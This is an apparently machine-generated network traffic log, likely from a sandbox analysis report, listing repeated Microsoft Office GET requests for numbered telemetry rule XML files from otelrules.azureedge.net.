Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
